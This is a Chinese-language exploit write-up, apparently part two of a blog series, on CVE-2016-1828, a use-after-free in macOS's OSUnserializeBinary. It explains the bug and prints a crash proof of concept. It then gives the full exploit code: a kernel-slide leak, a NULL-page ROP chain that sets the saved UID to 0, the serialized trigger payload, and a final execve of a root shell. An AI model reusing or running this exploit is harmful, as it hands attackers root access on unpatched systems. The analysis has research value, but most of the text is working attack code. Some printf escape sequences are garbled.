macOS内核提权:利用CVE-2016-1828本地权限提升(Part2)

 

0x001 前言

接着上一篇文章,上文中已经把kernel_slide泄漏出来了,下面继续来分析CVE-2016-1828这个洞。

 

0x002 调试环境

虚拟机: OS X Yosemite 10.10.5 14F27
主机: macOS Mojave 10.14.2 18C54

 

0x003 内核源码分析

当用户应用程序与内核驱动程序进行通信时, 它通常希望传递结构化数据对象, 如字符串、数组和字典。为了解决这一问题,libkern定义了CoreFoundation对象相对应的容器和集合类作为传递给用户空间的API。下表中概述了这些类, 它们都继承自OSObject。

当一个CoreFoundation对象被发送到内核时, 它首先被IOCFSerialize转换为二进制或xml表示形式。然后将序列化的数据复制到内核中, 并使用OSUnserializeXML进行反序列化。如果提供的数据实际上是二进制编码, 则OSUnserializeXML调用OSUnserializeBinary

OSUnserializeBinary尝试对提供的数据进行解码重建原始对象。反序列化的对象通常是一个容器, 如OSDictionary其中包含多个条目。为了在集合中多次包含同一对象时最大限度地减小编码大小, 二进制编码格式支持按索引引用以前序列化的对象。因此, 解码逻辑将每个重建的对象存储在一个数组中, 以便以后索引可以引用它。

查看源码libkernc++OSSerializeBinary.cpp,当索引在反序列化过程中引用某个条目时, 对象指针将在objsArray中查找, 存储在局部变量o中, 并引用retain方法:

然后, o将该条目 o 插入到父集合中后, 将释放该条目:

然而,此策略不能确保安全, 因为在反序列化过程中, 可能会释放objsArray中的对象, 从而留下悬空的指针。举个栗子:

<dict>                          <!--  object 0  -->
    <key>a</key>                <!--  object 1  -->
    <string>foo</string>        <!--  object 2  -->
    <key>a</key>                <!--  object 3  -->
    <string>bar</string>        <!--  object 4  -->
    <key>b</key>                <!--  object 5  -->
    <object>2</object>          <!--  object 6  -->
</dict>

当对第二个a赋值反序列化时, 字符串bar栏将通过setObject插入到字典中。由于与a关联的旧foo字符串正在被bar替换, 因此字典将在其上释放一个引用。foo插入objsArray时, foo没有调用retain方法, 因此foo唯一的引用来自字典本身。这将在objsArray[2]]中留下一个悬空的指向foo的指针。以后引用索引2处的对象时, 将在释放的foo对象上调用retain方法。

为了利用此漏洞点, 我们需要控制已释放内存的内容, 从而当调用retain方法时会使用我们控制的vtable指针。通过在字典中指定正在反序列化的元素, 我们可以轻松地控制对象的分配和释放。在这里,我们可以通过在字典中包含OSData对象来分配和填充我们控制的数据。

<dict>                              <!--   0: dict                                    -->
    <key>a</key>                    <!--   1: key "a"                                 -->
    <integer>10</integer>           <!--   2: allocate block1                         -->
    <key>b</key>                    <!--   3: key "b"                                 -->
    <integer>20</integer>           <!--   4: allocate block2                         -->
    <key>a</key>                    <!--   5: key "a"                                 -->
    <true/>                         <!--   6: free block1; free list: block1          -->
    <key>b</key>                    <!--   7: key "b"                                 -->
    <true/>                         <!--   8: free block2; free list: block2, block1  -->
    <key>a</key>                    <!--   9: key "a"                                 -->
    <data> vtable pointer </data>   <!--  10: OSData gets block2, data gets block1    -->
    <key>b</key>                    <!--  11: key "b"                                 -->
    <object>2</object>              <!--  12: block1->retain()                        -->
</dict>

来具体说一下以上过程走:

我们将创建一个包含a、b两个键的字典。首先, 我们将a、b键值设置成OSNumber, 因为在64位OS X上, 它们的大小与OSData足够接近, 可以共享同一个空闲链表。然后, 我们将a和b分配为true, 这将释放掉a、b键的OSNumber。此时, 堆空闲列表在头部包含b的OSNumber和a的OSNumber,OSNumber b --> OSNumber a。通过在字典中插入OSData对象, 我们可以使OSData容器使用b的OSNumber以及OSData的数据缓冲区来使用a的OSNumber。 通过引用a键的原OSNumber的索引导致在已释放的OSNumber对象上调用retain方法, 而该处是OSData的数据缓冲区而且已经被我们用虚表指针填充, 所以最后会执行任意代码。

 

0x004 UAF: CVE-2016-1828

编译运行这段poc,系统会直接蹦掉

#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
#include <mach/mach.h>
#include <stdio.h>

int main()
{
    uint32_t data[] = {
        0x000000d3,                             /*  magic               */
        0x81000010,                             /*  0: OSDictionary     */
        0x08000002, 0x00000061,                 /*  1: key "a"          */
        0x04000020, 0x00000000, 0x00000000,     /*  2: 1[2: OSNumber]   */
        0x08000002, 0x00000062,                 /*  3: key "b"          */
        0x04000020, 0x00000000, 0x00000000,     /*  4: 2[4: OSNumber]   */
        0x0c000001,                             /*  5: key "a"          */
        0x0b000001,                             /*  6: true; heap freelist: 1[2:]   */
        0x0c000003,                             /*  7: key "b"                      */
        0x0b000001,                             /*  8: true; heap freelist: 2[4:] 1[2:]     */
        0x0c000001,                             /*  9: key "a"          */
        0x0a000028,                             /*  10: 2[10,4: OSData] => 1[2: contents]   */
        0x00000000, 0x00000000,                 /*  vtable ptr          */
        0x00000000, 0x00000000, 0x00000000, 0x00000000,
        0x00000000, 0x00000000, 0x00000000, 0x00000000,
        0x0c000001,                             /*  11: key "b"         */
        0x8c000002,                             /*  12: 1[2: contents]->retain()    */
    };
    mach_port_t master_port, iterator;
    kern_return_t kr = IOMasterPort(MACH_PORT_NULL, &master_port);
    if(kr != KERN_SUCCESS){
        return 1;
    }

    kr = io_service_get_matching_services_bin(master_port, (char *)data, sizeof(data), &iterator);
}

调试器attach上去,发现执行到了一个错误的地址0x20

查看汇编,该处call了一个rax+0x20的地址

而rax寄存器现在为0x0000000000000000

现在已经可以控制RIP跳转到NULL页上去了,只要分配该处的存储空间,布置上我们提权的ROP即可

最后在NULL页作ROP,将cr_svuid设置成0,关于gadget的查找可以用librop这份代码

[传送门]

完整的exp已上传到Github上,这里给出核心利用代码

//
//  main.c
//  CVE-2016-1728 info leak
//  CVE-2016-1828 uaf
//  Created by wooy0ung on 2018/12/27.
//

#include <stdio.h>
#include <unistd.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include "librop/librop.h"


char buffer[IFNAMSIZ];

struct if_clonereq ifcr = {
    .ifcr_count = 1,
    .ifcr_buffer = buffer,
};

static uint64_t kernel_slide=0;


static int
is_kernel_pointer(uint64_t addr) {
    return (0xffffff7f00000000 <= addr && addr < 0xffffff8100000000);
}

static int
is_kernel_slide(uint64_t slide) {
    return ((slide & ~0x000000007fe00000) != 0);
}

int get_kaslr() {
    uint64_t leak;
    int sockfd = socket(AF_INET,SOCK_STREAM,0);
    int err = ioctl(sockfd,SIOCIFGCLONERS,&ifcr);
    printf("rn[>] Leak kernel_sliden");
    leak = *(uint64_t *)(buffer+8);
    if (!is_kernel_pointer(leak)) {
        printf("t[-] error: leak 0x%016llxn", leak);
        return -1;
    }
    kernel_slide = *(uint64_t *)(buffer+8) - 0xffffff800033487f;    // dev 0xffffff80002ef3af
    if (is_kernel_slide(kernel_slide)) {
        printf("t[-] error: kernel_slide 0x%016llxn", kernel_slide);
        return -1;
    }
    printf("t[+] kernel_slide: 0x%016llxn",kernel_slide);
    return 0;
}

int build_rop() {
    macho_map_t *map = map_file_with_path(KERNEL_PATH_ON_DISK);
    SET_KERNEL_SLIDE(kernel_slide);

    // Gadget
    uint64_t xchg_esp_eax_pop_rsp, xchg_rax_rdi, set_svuid_0;
    xchg_esp_eax_pop_rsp = XCHG_ESP_EAX_POP_RSP_INS(map);
    xchg_rax_rdi = XCHG_RAX_RDI_INS(map);
    set_svuid_0 = SET_SVUID_0_INS(map);
    printf("rn[>] Find gadgetsn");
    printf("t[+] XCHG_ESP_EAX_POP_RSP_INS: 0x%016llxn",xchg_esp_eax_pop_rsp);
    printf("t[+] XCHG_RAX_RDI_INS: 0x%016llxn",xchg_rax_rdi);
    printf("t[+] SET_SVUID_0_INS: 0x%016llxn",set_svuid_0);

    // Symbol
    uint64_t current_proc, proc_ucred, posix_cred_get, thread_exception_return;
    current_proc = SLIDE_POINTER(find_symbol_address(map, "_current_proc"));
    proc_ucred = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred"));
    posix_cred_get = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get"));
    thread_exception_return = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));
    printf("rn[>] Find symbolsn");
    printf("t[+] _current_proc: 0x%016llxn",current_proc);
    printf("t[+] _proc_ucred: 0x%016llxn",proc_ucred);
    printf("t[+] _posix_cred_get: 0x%016llxn",posix_cred_get);
    printf("t[+] _thread_exception_return: 0x%016llxn",thread_exception_return);

    vm_address_t payload_addr = 0;
    size_t size = 0x1000;
    // In case we are re-executing, deallocate the NULL page.
    vm_deallocate(mach_task_self(), payload_addr, size);
    kern_return_t kr = vm_allocate(mach_task_self(), &payload_addr, size, 0);
    if (kr != KERN_SUCCESS) {
        printf("t[-] error: could not allocate NULL page for payloadn");
        return -1;
    }
    uint64_t * vtable = (uint64_t *)payload_addr;
    uint64_t * rop_stack = ((uint64_t *)(payload_addr + size)) - 8;
    // Virtual method 4 is called in the kernel with rax set to 0.
    vtable[0] = (uint64_t)rop_stack;        //  *0 = rop_stack                  
    vtable[4] = xchg_esp_eax_pop_rsp;       //  rsp = 0; rsp = *rsp; start rop  
    rop_stack[0] = current_proc;            //  rax = &proc                     
    rop_stack[1] = xchg_rax_rdi;            //  rdi = &proc                     
    rop_stack[2] = proc_ucred;              //  rax = &cred                     
    rop_stack[3] = xchg_rax_rdi;            //  rdi = &cred                     
    rop_stack[4] = posix_cred_get;          //  rax = &posix_cred               
    rop_stack[5] = xchg_rax_rdi;            //  rdi = &posix_cred               
    rop_stack[6] = set_svuid_0;             //  we are now setuid 0             
    rop_stack[7] = thread_exception_return; //  stop rop     

    return 0;                   
}

int exec_rop() {
    printf("rn[>] Execute ropn");
    uint32_t data[] = {
        0x000000d3,                         //     magic                            
        0x81000010,                         //  0: OSDictionary                      
        0x08000002, 0x00000061,             //  1: key "a"                           
        0x04000020, 0x00000000, 0x00000000, //  2: 1[2: OSNumber]                    
        0x08000002, 0x00000062,             //  3: key "b"                           
        0x04000020, 0x00000000, 0x00000000, //  4: 2[4: OSNumber]                    
        0x0c000001,                         //  5: key "a"                           
        0x0b000001,                         //  6: true ; heap freelist: 1[2:]       
        0x0c000003,                         //  7: key "b"                           
        0x0b000001,                         //  8: true ; heap freelist: 2[4:] 1[2:] 
        0x0c000001,                         //  9: key "a"                           
        0x0a000028,                         // 10: 2[10,4: OSData] => 1[2: contents] 
        0x00000000, 0x00000000,             //     vtable ptr                        
        0x00000000, 0x00000000, 0x00000000, 0x00000000,
        0x00000000, 0x00000000, 0x00000000, 0x00000000,
        0x0c000001,                         // 11: key "b"                           
        0x8c000002,                         // 12: 1[2: contents]->retain()          
    };
    mach_port_t master_port, iterator;
    kern_return_t kr = IOMasterPort(MACH_PORT_NULL, &master_port);
    if (kr != KERN_SUCCESS) {
        return -1;
    }
    kr = io_service_get_matching_services_bin(master_port, (char *)data, sizeof(data), &iterator);
    seteuid(0);
    setuid(0);
    setgid(0);
    if (kr == KERN_SUCCESS) {
        IOObjectRelease(iterator);
    }
    if (getuid() != 0) {
        return -1;
    }
    return 0;
}

int main(int argc, char * argv[]) {
    int err;
    sync();

    err = get_kaslr();
    if(err){
        printf("[-] error: get_kaslrn");
        return -1;
    }

    err = build_rop();
    if(err){
        printf("[-] error: build_ropn");
        return -1;
    }

    err = exec_rop();
    if(err){
        printf("[-] error: exec_ropn");
        return -1;
    }

    argv[0] = "/bin/sh";
    execve(argv[0], argv, NULL);    

    return 0;
}

WIN~

(完)